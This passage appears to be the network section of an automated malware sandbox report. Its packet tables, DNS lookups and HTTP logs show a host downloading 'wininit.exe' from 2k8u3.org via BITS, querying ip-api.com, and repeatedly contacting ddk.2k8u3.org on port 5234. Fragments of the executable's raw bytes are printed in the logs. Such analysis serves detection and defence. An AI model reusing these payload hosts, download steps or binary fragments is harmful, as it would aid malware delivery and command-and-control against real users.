Dec 4, 2024 16:26:28.106411934 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.106476068 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.112890959 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.113028049 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.113081932 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.119067907 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.119165897 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.119252920 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.125396967 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.174524069 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:28.258394003 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:26:28.299531937 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:26:32.917192936 CET	49765	80	192.168.2.5	208.95.112.1
Dec 4, 2024 16:26:33.037013054 CET	80	49765	208.95.112.1	192.168.2.5
Dec 4, 2024 16:26:33.037096024 CET	49765	80	192.168.2.5	208.95.112.1
Dec 4, 2024 16:26:33.061484098 CET	49765	80	192.168.2.5	208.95.112.1
Dec 4, 2024 16:26:33.181189060 CET	80	49765	208.95.112.1	192.168.2.5
Dec 4, 2024 16:26:34.135049105 CET	80	49765	208.95.112.1	192.168.2.5
Dec 4, 2024 16:26:34.190001965 CET	49765	80	192.168.2.5	208.95.112.1
Dec 4, 2024 16:27:12.541963100 CET	80	49765	208.95.112.1	192.168.2.5
Dec 4, 2024 16:27:12.542169094 CET	49765	80	192.168.2.5	208.95.112.1
Dec 4, 2024 16:27:38.084537983 CET	49906	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:38.204385996 CET	5234	49906	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:38.208293915 CET	49906	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:38.249557018 CET	49906	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:38.369544029 CET	5234	49906	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:40.776416063 CET	5234	49906	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:40.776494026 CET	49906	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:42.315229893 CET	49906	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:42.316863060 CET	49915	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:42.435132027 CET	5234	49906	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:42.436610937 CET	5234	49915	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:42.436688900 CET	49915	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:42.452549934 CET	49915	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:42.572585106 CET	5234	49915	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:44.700424910 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:27:44.822268009 CET	80	49707	104.21.80.1	192.168.2.5
Dec 4, 2024 16:27:44.822339058 CET	49707	80	192.168.2.5	104.21.80.1
Dec 4, 2024 16:27:44.929377079 CET	5234	49915	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:44.929436922 CET	49915	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:46.408927917 CET	49915	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:46.410164118 CET	49924	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:46.529125929 CET	5234	49915	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:46.530400038 CET	5234	49924	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:46.530478954 CET	49924	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:46.546525955 CET	49924	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:46.666410923 CET	5234	49924	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:49.118782997 CET	5234	49924	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:49.118856907 CET	49924	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:51.034389019 CET	49924	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:51.045299053 CET	49934	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:51.279553890 CET	5234	49924	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:51.279571056 CET	5234	49934	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:51.279777050 CET	49934	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:51.296997070 CET	49934	5234	192.168.2.5	116.122.95.113
Dec 4, 2024 16:27:51.416724920 CET	5234	49934	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:53.757070065 CET	5234	49934	116.122.95.113	192.168.2.5
Dec 4, 2024 16:27:53.760309935 CET	49934	5234	192.168.2.5	116.122.95.113

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 16:25:54.671171904 CET	61415	53	192.168.2.5	1.1.1.1
Dec 4, 2024 16:25:55.013636112 CET	53	61415	1.1.1.1	192.168.2.5
Dec 4, 2024 16:26:32.769267082 CET	56833	53	192.168.2.5	1.1.1.1
Dec 4, 2024 16:26:32.909884930 CET	53	56833	1.1.1.1	192.168.2.5
Dec 4, 2024 16:27:37.929594040 CET	57506	53	192.168.2.5	1.1.1.1
Dec 4, 2024 16:27:38.079389095 CET	53	57506	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 16:25:54.671171904 CET	192.168.2.5	1.1.1.1	0xa57c	Standard query (0)	2k8u3.org	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:26:32.769267082 CET	192.168.2.5	1.1.1.1	0x24da	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:27:37.929594040 CET	192.168.2.5	1.1.1.1	0xf74f	Standard query (0)	ddk.2k8u3.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:25:55.013636112 CET	1.1.1.1	192.168.2.5	0xa57c	No error (0)	2k8u3.org	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:26:32.909884930 CET	1.1.1.1	192.168.2.5	0x24da	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:27:38.079389095 CET	1.1.1.1	192.168.2.5	0xf74f	No error (0)	ddk.2k8u3.org	116.122.95.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

2k8u3.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	104.21.80.1	80	5688	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 16:25:55.135216951 CET	143	OUT	HEAD /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:25:56.585395098 CET	927	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:25:56 GMT Content-Type: application/x-msdownload Content-Length: 77824 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NxRqB9n4%2BOh%2Fp2ialRHE%2B8WpwmeqDTGNNJxqOk7K5OhW0wRgg8dMozHM5%2F1nVOzmuAKwCTdS%2FCLsWuPsgfrmkWPM7AqWY4nkXZGbwHVK26G9zwxxmZh9Fv2cM%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ecccfd96b388c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2034&rtt_var=1017&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=143&delivery_rate=0&cwnd=194&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Dec 4, 2024 16:25:56.631896973 CET	215	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=0-1119 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:25:56.955986023 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:25:56 GMT Content-Type: application/x-msdownload Content-Length: 1120 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 0 Content-Range: bytes 0-1119/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c9O%2FKMmIXAOXnb%2FgmDsogcFcluYZa9vGX6Hq4%2F1kgZTl6Y5BfhrOK0%2BUvGOUQiOXrR7YH9NcBOaUkILYI48C4lc01IlZhYltPVZ5UnfIvklcKGCYnMJU7TVyzX8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ecccfddf8708c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3247&min_rtt=2034&rtt_var=3190&sent=3&recv=5&lost=0&retrans=0&sent_bytes=927&recv_bytes=358&delivery_rate=124308&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ab d3 36 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 24 01 00 00 0a 00 00 00 00 00 00 ae 43 01 00 00 20 00 00 00 60 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 43 01 00 57 00 00 00 00 60 01 00 46 06 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL6g$C `@ @TCW`F
Dec 4, 2024 16:25:56.956119061 CET	839	IN	Data Raw: 00 00 00 00 00 00 00 00 80 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 Data Ascii: H.text# $ `.rsrcF`&@@.reloc.@BCH
Dec 4, 2024 16:26:01.395486116 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=1120-1912 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:01.722651005 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:01 GMT Content-Type: application/x-msdownload Content-Length: 793 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 5 Content-Range: bytes 1120-1912/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvJEKcuLeYNTu%2FhTCeeVySI2YqXVobagfZCab1r1LZnGEstHHWSxERQnswNslnvB99n40y89P4Tq2%2Bx7mQdayBdWGc1XhXrGMleH%2BTjAv45N7eOKi0RWeW%2F8W6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ecccffbbee78c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3097&min_rtt=2034&rtt_var=2693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=3002&recv_bytes=576&delivery_rate=1427174&cwnd=197&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 14 80 17 00 00 04 16 73 6e 00 00 0a 80 18 00 00 04 14 80 19 00 00 04 2a 22 28 61 00 00 06 2b 00 2a 3a 02 74 08 00 00 1b 28 5c 00 00 06 2b 00 2a 1a 72 c2 0d 00 70 2a 1a 20 31 32 0d 05 2a 1a 72 f4 0d 00 70 2a 1a 20 ef d7 cd 03 2a 1a 72 26 0e 00 70 2a 1a 72 58 0e 00 70 2a 1a 20 92 69 49 01 2a 1a 72 8a 0e 00 70 2a 1a 20 1a 42 ff 03 2a 1a 72 bc 0e 00 70 2a 1a 20 6a 79 41 04 2a 1a 72 ee 0e 00 70 2a 1a 72 20 0f 00 70 2a 1a 20 53 08 dd 04 2a 1a 72 52 0f 00 70 2a 1a 20 f0 df bf 01 2a 1a 72 84 0f 00 70 2a 1a 20 32 19 b8 02 2a 1a 72 b6 0f 00 70 2a 1a 20 41 23 a5 02 2a 1a 72 e8 0f 00 70 2a 1a 72 1a 10 00 70 2a 1a 72 4c 10 00 70 2a 1a 72 7e 10 00 70 2a 1a 72 b0 10 00 70 2a 1a 20 b7 4f 04 02 2a 1a 72 e2 10 00 70 2a 1a 20 d4 ed 9c 01 2a 1a 72 14 11 00 70 2a 1a 20 96 e0 3a 00 2a 1a 72 46 11 00 70 2a 1a 20 7e bf 48 02 2a 1a 72 78 11 00 Data Ascii: sn"(a+:t(\+rp 12rp r&prXp* iIrp Brp jyArpr p* SrRp rp 2rp A#rprprLpr~prp Orp rp :rFp ~H*rx
Dec 4, 2024 16:26:01.722695112 CET	516	IN	Data Raw: 70 2a 1a 20 cb f7 57 04 2a 1a 72 aa 11 00 70 2a 1a 20 98 67 84 01 2a 3a 02 28 2d 00 00 0a 28 93 00 00 06 2b 00 2a 3a 02 28 2d 00 00 0a 28 94 00 00 06 2b 00 2a 1a 72 e6 15 00 70 2a 1a 72 18 16 00 70 2a 1a 20 db 37 ae 04 2a 1a 72 4a 16 00 70 2a 1a Data Ascii: p* Wrp g:(-(+:(-(+rprp* 7rJpr\|p* rprp* rp UrDprvp* ~6rp xrp =lrpr>p* Znrpprp* eurprp* *
Dec 4, 2024 16:26:04.176188946 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=1913-2137 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:04.500376940 CET	1188	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:04 GMT Content-Type: application/x-msdownload Content-Length: 225 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 8 Content-Range: bytes 1913-2137/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tDg%2F46GEd1vvXwpgO%2BHcjeYwgv%2F3tLc7CJtGvSUPd0gP4LXI8GCqE5%2FJm85T%2BH2fu7hbXvUaUDgZHLzj5ZlWtY4ZyRhAaAScME1FWu48jwXcBgpPbGsFBTufJ%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd00d1b658c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2966&min_rtt=2034&rtt_var=2282&sent=7&recv=9&lost=0&retrans=0&sent_bytes=4754&recv_bytes=794&delivery_rate=1427174&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 2a 1a 72 e5 23 00 70 2a 1a 20 7f 7e ba 04 2a 1a 28 0d 01 00 06 2a 1a 72 17 24 00 70 2a 1a 20 9c 4c b7 03 2a 1a 72 49 24 00 70 2a 1a 72 7b 24 00 70 2a 1a 72 ad 24 00 70 2a 1a 72 df 24 00 70 2a 1a 72 11 25 00 70 2a 1a 20 25 6b 55 00 2a 1a 72 43 25 00 70 2a 62 7e 36 00 00 04 2c 10 7e 36 00 00 04 6f 56 01 00 0a 14 80 36 00 00 04 2a 1a 72 a4 28 00 70 2a 1a 72 d6 28 00 70 2a 1a 72 08 29 00 70 2a 1a 20 e2 84 8e 04 2a 1a 72 3a 29 00 70 2a 1a 20 65 14 6c 02 2a 1a 72 6c 29 00 70 2a 1a 20 8e 49 21 01 2a 1a 72 9e 29 00 70 2a 1a 20 20 11 03 04 2a 1a 72 d0 29 00 70 2a 1a 72 02 2a 00 70 2a 1a 72 34 2a 00 70 2a 1a 72 66 2a 00 70 2a 1a 20 ee 61 e3 01 2a 1a 72 98 2a 00 70 2a 1a 72 ca Data Ascii: r#p ~(r$p* LrI$pr{$pr$pr$pr%p %kUrC%pb~6,~6oV6r(pr(pr)p r:)p elrl)p I!r)p r)prpr4prfp arp*r
Dec 4, 2024 16:26:06.866328001 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=2138-2213 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:07.192107916 CET	1037	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:07 GMT Content-Type: application/x-msdownload Content-Length: 76 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 11 Content-Range: bytes 2138-2213/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OFQG824vYUocHltlrRtK%2FhUsH36SUs%2FgEJiCtDZlDOWVMib2VzuuXuFBu2zVpyD7d9KJmocte7l9Ha5ANnmI7j5mTUWILd%2FSXxVyLJ6D3Xuu%2BE3oIeJCUF5cftI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd01deeef8c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4935&min_rtt=2034&rtt_var=5649&sent=8&recv=11&lost=0&retrans=0&sent_bytes=5942&recv_bytes=1012&delivery_rate=1427174&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 2a 00 70 2a 1a 72 fc 2a 00 70 2a 1a 20 60 ee 9e 03 2a 1a 72 2e 2b 00 70 2a 1a 72 60 2b 00 70 2a 1a 72 92 2b 00 70 2a 1a 72 c4 2b 00 70 2a 1a 20 d5 95 5f 04 2a 1a 72 f6 2b 00 70 2a 1a 20 d6 d5 c9 02 2a 1a 72 28 2c 00 70 2a 1a 20 Data Ascii: prp `r.+pr`+pr+pr+p* _r+p r(,p
Dec 4, 2024 16:26:13.505451918 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=2214-2340 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:13.834846020 CET	1085	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:13 GMT Content-Type: application/x-msdownload Content-Length: 127 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 17 Content-Range: bytes 2214-2340/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0BsbySzHlK98BPMTR4%2BxKMDLhPFvmKexdE9XY9p%2BFxvPLjTs8TkErRLUeLE2nOJCYMIeAKVmyVDxvY6RX4zlia8eEbmOCPhu1fkh8bIciJAWtn9PQDloyC4DwXY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd04769738c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6146&min_rtt=2034&rtt_var=6659&sent=9&recv=13&lost=0&retrans=0&sent_bytes=6979&recv_bytes=1230&delivery_rate=1427174&cwnd=201&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 81 4f ff 04 2a 1a 72 5a 2c 00 70 2a 1a 72 8c 2c 00 70 2a 1a 20 e9 87 8e 03 2a 1a 72 be 2c 00 70 2a 1a 72 f0 2c 00 70 2a 1a 72 22 2d 00 70 2a 1a 20 4a fe 90 02 2a 1a 72 54 2d 00 70 2a 1a 20 61 82 5a 01 2a 1a 72 86 2d 00 70 2a 1a 72 b8 2d 00 70 2a 1a 20 0b 46 30 05 2a 1a 72 ea 2d 00 70 2a 00 00 13 30 01 00 0f 00 00 00 01 00 00 11 7e 01 00 00 04 6f 1e 00 00 0a 0a 2b 00 06 2a 00 13 Data Ascii: OrZ,pr,p* r,pr,pr"-p JrT-p aZr-pr-p* F0r-p0~o+*
Dec 4, 2024 16:26:14.834525108 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=2341-3228 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:15.160729885 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:15 GMT Content-Type: application/x-msdownload Content-Length: 888 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 19 Content-Range: bytes 2341-3228/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jqFSNNIQu%2FqB9LiClGuGVpukRWgZTsbKcr0vc77y5hbEl2UtPXNawV0%2BahKzTAdf1ih4ZrLvhg8GvJvBA7zBhsSeWWnEGGo7WwoKvhAJGEpB3YFRqJk0N2aj%2FdM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd04fbb248c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6986&min_rtt=2034&rtt_var=6675&sent=10&recv=15&lost=0&retrans=0&sent_bytes=8064&recv_bytes=1448&delivery_rate=1427174&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 30 01 00 0f 00 00 00 02 00 00 11 7e 02 00 00 04 6f 1f 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 03 00 00 11 7e 03 00 00 04 6f 20 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 04 00 00 11 7e 04 00 00 04 6f 21 00 00 0a 0a 2b 00 06 2a 00 13 30 02 00 11 00 00 00 05 00 00 11 02 03 28 22 00 00 0a 28 23 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 01 00 0b 00 00 00 06 00 00 11 02 28 24 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 07 00 00 11 d0 05 00 00 02 28 25 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 08 00 00 11 02 28 26 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 18 00 00 00 09 00 00 11 02 8c 05 00 00 1b 2d 0a 28 01 00 00 2b 0a 2b 06 2b 04 02 0a 2b 00 06 2a 13 30 02 00 10 00 00 00 09 00 00 11 03 12 00 fe 15 05 00 00 1b 06 81 05 00 00 1b 2a 13 30 01 00 20 00 00 00 0a 00 00 11 7e 29 00 00 0a 8c 07 00 Data Ascii: 0~o+0~o +0~o!+0("(#+0($+0(%+0(&+0-(++++0*0 ~)
Dec 4, 2024 16:26:15.160865068 CET	613	IN	Data Raw: 00 1b 2d 0a 28 02 00 00 2b 80 29 00 00 0a 7e 29 00 00 0a 0a 2b 00 06 2a 13 30 02 00 7a 00 00 00 00 00 00 00 72 be 02 00 70 80 06 00 00 04 72 f0 02 00 70 80 08 00 00 04 72 22 03 00 70 80 09 00 00 04 72 54 03 00 70 80 0a 00 00 04 19 80 0b 00 00 04 Data Ascii: -(+)~)+0zrprpr"prTprprprprprNprpp(rzp(+*0~ (,~((-~((-~((-
Dec 4, 2024 16:26:16.160763025 CET	218	OUT	GET /wininit.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 15 Nov 2024 04:53:00 GMT Range: bytes=3229-4391 User-Agent: Microsoft BITS/7.8 Host: 2k8u3.org
Dec 4, 2024 16:26:16.487793922 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 04 Dec 2024 15:26:16 GMT Content-Type: application/x-msdownload Content-Length: 1163 Connection: keep-alive Last-Modified: Fri, 15 Nov 2024 04:53:00 GMT ETag: "13000-626ec575b4300" Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 20 Content-Range: bytes 3229-4391/77824 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vyE7fqh9cS%2Fqj%2BKYu4%2FtN8ShRqhKM%2F66fXRRA87sqN3a2xlLkeUAmKtzaRp%2FzjKYSmppjG2Hjvu9AguGKuwgaMU7yTZOTJpORx%2BfdA558hjqWhfiq%2BuMBaxjcvg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8eccd0580caf8c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6373&min_rtt=2034&rtt_var=6232&sent=12&recv=17&lost=0&retrans=0&sent_bytes=9913&recv_bytes=1666&delivery_rate=1427174&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 0e 18 72 6a 05 00 70 a2 11 0e 19 06 a2 11 0e 1a 72 7a 05 00 70 a2 11 0e 28 40 00 00 0a 6f 41 00 00 0a 2b 44 11 09 1b 8d 32 00 00 01 13 0e 11 0e 16 72 7e 05 00 70 a2 11 0e 17 7e 0f 00 00 04 28 3f 00 00 0a a2 11 0e 18 72 6a 05 00 70 a2 11 0e 19 06 a2 11 0e 1a 72 7a 05 00 70 a2 11 0e 28 40 00 00 0a 6f 41 00 00 0a 11 09 28 42 00 00 0a 13 08 11 08 6f 43 00 00 0a de 0f 25 28 2f 00 00 0a 13 0a 28 31 00 00 0a de 00 28 08 00 00 06 6f 44 00 00 0a 6f 45 00 00 0a 72 c2 05 00 70 17 6f 46 00 00 0a 7e 0f 00 00 04 28 3f 00 00 0a 06 6f 47 00 00 0a de 0f 25 28 2f 00 00 0a 13 0b 28 31 00 00 0a de 00 1d 28 48 00 00 0a 72 f0 04 00 70 7e 0f 00 00 04 28 3f 00 00 0a 72 1e 06 00 70 28 49 00 00 0a 13 0c 72 28 06 00 70 72 44 06 00 70 28 4a 00 00 0a 14 72 46 06 00 70 17 8d 